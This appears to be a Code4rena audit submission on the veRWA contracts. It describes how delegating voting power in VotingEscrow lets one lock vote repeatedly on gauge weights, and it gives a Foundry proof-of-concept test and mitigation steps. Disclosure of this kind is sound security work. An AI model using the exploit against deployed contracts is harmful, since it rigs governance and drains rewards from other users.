veRWA - 0x73696d616f's results

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L211 https://github.com/code-423n4/2023-08-verwa/blob/main/src/VotingEscrow.sol#L356

Vulnerability details

Impact

Delegate mechanism in VotingEscrow allows infinite votes in vote_for_gauge_weights() in the GaugeController. Users can then, for example, claim more tokens in the LendingLedger in the market that they inflated the votes on.

Proof of Concept

VotingEscrow has a delegate mechanism which lets a user delegate the voting power to another user. The GaugeController allows voters who locked native in VotingEscrow to vote on the weight of a specific gauge.

Due to the fact that users can delegate their voting power in the VotingEscrow, they may vote once in a gauge by calling vote_for_gauge_weights(), delegate their votes to another address and then call again vote_for_gauge_weights() using this other address.

A POC was built in Foundry, add the following test to GaugeController.t.sol:

function testDelegateSystemMultipleVoting() public {
    vm.deal(user1, 100 ether);
    vm.startPrank(gov);
    gc.add_gauge(user1);
    gc.change_gauge_weight(user1, 100);
    vm.stopPrank();

    vm.deal(user2, 100 ether);
    vm.startPrank(gov);
    gc.add_gauge(user2);
    gc.change_gauge_weight(user2, 100);
    vm.stopPrank();

    uint256 v = 10 ether;

    vm.startPrank(user1);
    ve.createLock{value: v}(v);
    gc.vote_for_gauge_weights(user1, 10_000);
    vm.stopPrank();

    vm.startPrank(user2);
    ve.createLock{value: v}(v);
    gc.vote_for_gauge_weights(user2, 10_000);
    vm.stopPrank();

    uint256 expectedWeight_ = gc.get_gauge_weight(user1);

    assertEq(gc.gauge_relative_weight(user1, 7 days), 50e16);

    uint256 numDelegatedTimes_ = 20;

    for (uint i_; i_ < numDelegatedTimes_; i_++) {
        address fakeUserI_ = vm.addr(i_ + 27); // random num
        vm.deal(fakeUserI_, 1);

        vm.prank(fakeUserI_);
        ve.createLock{value: 1}(1);

        vm.prank(user1);
        ve.delegate(fakeUserI_);

        vm.prank(fakeUserI_);
        gc.vote_for_gauge_weights(user1, 10_000);
    }

    // assert that the weight is approx numDelegatedTimes_ more than expected
    assertEq(gc.get_gauge_weight(user1), expectedWeight_*(numDelegatedTimes_ + 1) - numDelegatedTimes_*100);

    // relative weight has been increase by a lot, can be increased even more if wished
    assertEq(gc.gauge_relative_weight(user1, 7 days), 954545454545454545);
}

Tools Used

Vscode, Foundry

Recommended Mitigation Steps

The vulnerability comes from the fact that the voting power is fetched from the current timestamp, instead of n blocks in the past, allowing users to vote, delegate, vote again and so on. Thus, the voting power should be fetched from n blocks in the past.

Additionaly, note that this alone is not enough, because when the current block reaches n blocks in the future, the votes can be replayed again by having delegated to another user n blocks in the past. The exploit in this scenario would become more difficult, but still possible, such as: vote, delegate, wait n blocks, vote and so on. For this reason, a predefined window by the governance could be scheduled, in which users can vote on the weights of a gauge, n blocks in the past from the scheduled window start.

Assessed type

Other

Context

Did not have enough time to carefully go over all the codebase.

Approach taken in evaluating the codebase

Read Curve and FiatDao VotingEscrow code and then compared the diffs to the veRWA code.

Architecture recommendations

The codebase is quite simple and no major architecture recomendations were found.

Codebase quality analysis

The code quality is quite good, which is expected as a big part of it is forked. Unfortunately it is not possible to compile without via-ir, which makes it impossible to calculate coverage without manually editing the code to handle stack too deep errors.

Centralization risks

The governance has some previleges in the GaugeController and LendingLedger.

In the GaugeController they may remove, add gauges and change gauge weights. This means that the governance as explicit control over how much users can claim in the LendingLedger for any specific market.

In the LendingLedger, setRewards() and whiteListLendingMarket() are permissioned functions, which means that, again, the governance chooses the rewards they issue.

All in all, the biggest risk is users locking their assets and then not being able to withdraw for 5 years without claiming rewards.

Mechanism Review

VotingEscrow

Fork from Curve and FiatDao, allows users to lock native for a fixed period of 5 years and vote based on it. A delegate mechanism was added that enables the voting power to be delegated to other locks. Most of the details of this design, besides the delegates, is better explained in the Curve documentation itself. Another modification is that the lockEnd of locks is reset when the amount is increased, having to wait 5 years to withdraw the full amount of the lock.

LendingLedger

Users may claim their rewards according to their voting power from VotingEscrow. Markets call sync_ledger() and update the balances of each user. Then, users may claim CANTO based on the following formula:

cantoToSend += (marketWeight * userBalance * ri.amount) / (1e18 * marketBalance); 

Essentially, the rewards increase prorata with the marketWeight (defined by the GaugeController, the user balance (set from the market itself), the ri.amount (set by governance), divided by the marketBalance (set the market on sync_ledger() calls).

GaugeController

Sets the weights of the gauges. Governance adds, removes and overrides gauge weights. Users vote on the weight of each gauge according to their voting power from VotingEscrow.

Systemic risks

• Users may find ways to break the voting system.
• Governance may set users rewards to 0 at any time.
• Delegates may act maliciously (the lock owner may undelegate, but might be too late).

Time spent:

10 hours